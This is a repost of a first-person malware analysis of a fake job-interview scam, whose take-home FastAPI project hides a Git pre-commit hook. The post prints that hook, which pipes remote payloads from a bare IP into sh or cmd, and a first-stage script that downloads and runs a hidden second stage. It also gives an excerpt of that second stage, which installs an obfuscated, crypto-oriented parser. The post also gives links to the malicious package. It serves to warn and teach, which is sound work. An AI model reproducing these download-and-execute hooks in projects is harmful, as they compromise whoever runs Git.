Reed's News
← 返回精选

深入调查远程面试项目:发现隐藏恶意代码的始末

Tech 68 CITIZENDOT 2026/7/22 1398 字 原文 ↗

可在Hacker NewsLinkedIn参与讨论。

上周四,一位招聘者在我的LinkedIn私信里发来一个Python开发岗位。有人主动联系我,我本来挺兴奋,就问了更多细节。等他发来岗位描述、公司名称和预估薪资,我想着反正没损失,不如试试。

以下是最初的私信内容:

初始私信

远程优先、可转正式岗的职位,月薪开到1万至1.5万美元,条件好得离谱。而且,这人怎么还没见面就把薪资信息摊出来了?我印象里招聘者都玩“你先开价,我再跟进”的套路,这简直是新手失误。

薪资信息

警铃立刻在我脑中响起。为什么预算这么高?(当然,这是按印度远程岗位的标准来看;放在美国不算离谱,但也足够引人怀疑。)我查了这家公司,发现是Y Combinator孵化的初创企业。YC公司的运营风格向来不按常理出牌,所以这事也不是完全不可能。但话说回来,要是一家公司能拿出这么多钱招人,招聘流程通常会更规范才对。我决定继续跟进,但始终保持警惕。

我发去了简历,招聘者很快就通过了,接着用Google Drive链接发来一份家庭作业,里面是一个压缩包和一份带说明的PDF。原Drive链接在此:https://drive.google.com/drive/folders/18i1KDFXAPv7lqfBGddxj7IOnDy8J6VeH?usp=drive_link。我备份了一份,以防他们删除原文件:https://drive.google.com/drive/folders/1DZYWezjpwolsxXnM5F04_Ng3nzTRYpVS?usp=sharing

这份评估PDF看起来相当正规,内容涉及现有代码库优化、架构建议、Git操作等。

我解压了压缩包,乍一看只是个用SQLAlchemy搭建的FastAPI后端模板,非常标准。我检查了requirements.txt,没发现仿冒包或恶意包,完全干净。那一瞬间我甚至觉得自己多疑了,这可能真是个正经机会。

这只是我的习惯(可能是打CTF练出来的):每次拿到陌生项目文件夹,我都会运行tree -a命令看看隐藏目录里藏着什么。没想到这次在现实派上了用场。

❯ tree -a .
.
├── alembic.ini
├── for learning
│   ├── dtos.py
│   ├── main.py
│   └── mockData.py
├── .git
│   ├── config
│   ├── description
│   ├── gk
│   │   └── config
│   ├── HEAD
│   ├── hooks
│   │   ├── applypatch-msg
│   │   ├── commit-msg
│   │   ├── fsmonitor-watchman
│   │   ├── post-applypatch
│   │   ├── post-checkout
│   │   ├── post-commit
│   │   ├── post-merge
│   │   ├── post-receive
│   │   ├── post-rewrite
│   │   ├── post-update
│   │   ├── pre-applypatch
│   │   ├── pre-auto-gc
│   │   ├── pre-commit
│   │   ├── pre-merge-commit
│   │   ├── prepare-commit-msg
│   │   ├── pre-push
│   │   ├── pre-rebase
│   │   ├── pre-receive
│   │   ├── proc-receive
│   │   ├── push-to-checkout
│   │   ├── sendemail-validate
│   │   └── update
│   ├── index
│   ├── info
│   │   └── exclude
│   ├── logs
...

等等,仓库里预先配置了一大堆Git钩子。我打开pre-commit脚本,看看他们想运行什么。

❯ cat .git/hooks/pre-commit
#!/bin/sh
case "$(uname -s)" in
Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
esac

果然有问题。他们嵌入了一个脚本,会检测受害者的操作系统,然后静默执行远程载荷。

插句题外话:为什么用裸IP地址?这简直是在喊“我是恶意软件”。至少注册个诱饵域名啊,比如lint-checker.com或者jenkins-ci-runner.net。要是编写这个恶意程序的攻击者看到这篇文章,记下来!

我们来看看Linux载荷到底做了什么。注意到请求里带了id=402参数,先记下来。

❯ curl http://45.61.164.38:5777/task/linux?id=402
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0

这个脚本会下载一个名为tokenlinux.npl的二级载荷(后面再解释这个扩展名),然后把文件伪装成tokenlinux.sh藏在~/Documents目录下,赋予可执行权限,最后用nohup在后台静默运行。

查了下资料:nohup是Linux/Unix工具,全称“no hang up”,能让进程在用户登出、关闭终端或断开SSH连接后继续运行。

我们继续深挖,看看这个二级脚本的内容。

❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402
...
...
BASE_URL="http://45.61.164.38:5777"
...
# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then
# If curl is not available, use wget
wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json"
else
# If curl is available, use curl
curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json"
fi
# Step 9: Install 'request' package
cd "$USER_HOME"
if [ ! -d "node_modules/request" ]; then
npm install --silent --no-progress --loglevel=error --fund=false
fi
# Step 10: Run token parser
if [ -f "$USER_HOME/parser.js" ]; then
nohup node "$USER_HOME/parser.js" > "$USER_HOME/parser.log" 2>&1 &
else
exit 1
fi
exit 0

为了简洁,我只保留了最关键的部分,完整文件在这里:

tokenlinux.txt(bash脚本)

这个二级脚本负责核心操作:静默安装Node.js、配置系统路径、下载package.jsonparser.js文件、安装依赖,然后在后台运行parser。

我查看了parser.js,代码被严重混淆,根本没法手动阅读。还记得那个id参数吗?我试着修改参数值,得到了完全不同的脚本。看来攻击者会给每个求职者分配唯一ID,以此跟踪受害者,提供定制化的恶意载荷。

既然parser.js啃不动,我转而看package.json。和混淆的parser不同,这个文件必须是标准JSON格式才能被npm识别。

对了,我把parser.js存在这里了:parser.js

❯ curl http://45.61.164.38:5777/task/json
{
"name": "tokendapp",
"version": "1.0.0",
"devDependencies": {
"hardhat": "^2.20.2"
},
"dependencies": {
"axios": "^1.12.2",
"basic-ftp": "^5.0.5",
"child_process": "^1.0.2",
"clipboardy": "^4.0.0",
"crypto": "^1.0.1",
"execp": "^0.0.1",
"fs": "^0.0.1-security",
"jsonwebtoken": "^9.0.2",
"process": "^0.11.10",
"ps-node": "^0.1.6",
"request": "^2.88.2"
},
"scripts": {
"test": "npx hardhat test",
"deploy": "npx hardhat run scripts/deploy.js"
}
}

这些依赖项非常可疑。一个后台安装任务为什么需要访问剪贴板(clipboardy),还需要文件系统权限(fs)?还有hardhat是什么?

Hardhat NPM页面

哦,是以太坊开发环境。这让那个跟踪ID参数更耐人寻味了。如果他们是部署比特币挖矿程序,给每个ID分配特定哈希任务还说得通,但以太坊已经弃用工作量证明机制,不需要挖矿了。他们可能是用Hardhat定位并窃取加密货币钱包,或是与本地浏览器插件交互?我不确定。

为了解混淆parser.js,我把代码放进几个大语言模型里,看看能不能解析。

Claude看了一眼就触发了安全机制,拒绝分析:

Claude的回复

而Gemini则很乐意帮忙拆解(声明:我不是偏心Google。好吧,我确实是谷歌员工,但你们可以自己判断):

Gemini的回复

之前我们看到二级载荷最初叫tokenlinux.npl,我搜了一下,发现这种扩展名属于特定类型的攻击者:

tokenlinux搜索结果

骗局背后另有玄机

意识到这是一场大规模攻击后,我进一步调查,发现其他人遇到的攻击形式各有不同。有人收到的压缩包里包含.vscode文件夹,攻击者在里面配置了启动命令,只要用VSCode打开这个目录就会触发。

这招相当狡猾。你甚至不需要运行Git命令,只要用VSCode打开文件夹就会中招。

现在很明显,这一切和Zavopay公司毫无关系,攻击者只是随便找了个公司名字,让招聘看起来更真实。出于好奇,我查看了项目的Git提交记录,想看看有没有他们留下的痕迹,结果发现他们只是克隆了一个公开仓库。

❯ git log
commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment)
Author: rhonda <womenofinspiration2016@gmail.com>
Date: Mon Jun 29 22:04:17 2026 -0400
add requirements
commit 8ae96928302a8e0757f2c72f85c46d801c97b91e
Merge: f64c289 d6cb1f2
Author: Bharati Gogoi <bgogoi055@gmail.com>
Date: Mon Jun 29 21:23:43 2026 +0530
Merge pull request #10 from Bgogoi123/feature/balance
[feat][Service for Adjusting Balance]
commit d6cb1f2f14b5d561e3611653327477e6a60eee95
Author: Bharati Gogoi <bharatigogoi@Bharatis-MacBook-Air.local>
Date: Mon Jun 29 21:20:13 2026 +0530
[feat][Service for Adjusting Balance]
- Added a service for adjustinh a user's balance.
- Removed old/commented codes.
commit f64c2898bbe2d4b5773f39e1022e95a2418fa0b4
Merge: 17aaa4c 9e0dbdf
Author: Bharati Gogoi <bgogoi055@gmail.com>
Date: Fri Jun 26 23:51:38 2026 +0530
Merge pull request #9 from Bgogoi123/feature/balance
[fix][Dependencies Annotated]
commit 9e0dbdf112124a25237018a3b92af10c51c54b5f
Author: Bharati Gogoi <bharatigogoi@Bharatis-MacBook-Air.local>
Date: Fri Jun 26 23:48:53 2026 +0530
[fix][Dependencies Annotated]
- Annotated all dependencies in the router files of each module.

我很快找到了原仓库:https://github.com/Bgogoi123/personal-finance-service。他们就是把别人一个正常的FastAPI项目拿过来,在上面加了个恶意隐藏目录。

接下来我决定从防守转攻,看看攻击者的IP上有没有暴露的易受攻击服务。

Nmap扫描显示有三个开放端口,其中两个无法检测版本,端口22运行着Ubuntu系统上的OpenSSH 9.6p1。这个版本在扫描前一周才发布,没有已知的漏洞可以用来渗透他们的服务器。

nmap扫描结果 看来他们服务器的操作安全(OPSEC)做得还不错,只是恶意软件的投放手法有点张扬。目前线索就断在这里了。大家务必小心,运行别人的代码前一定要检查隐藏目录。

现在我终于明白为什么评估PDF里会包含Git任务了——他们就是要确保求职者至少运行一次Git命令,这样钩子脚本才会被触发。

对了,我揭穿骗局后,那个“招聘者”立刻删除了账号。

揭穿骗局的对话

暂时就说到这里。如果想聊聊,可以在LinkedIn上联系我,但别发带恶意软件的家庭作业。(不过话说回来,要是有有趣的恶意软件样本,欢迎发来!)

感谢阅读!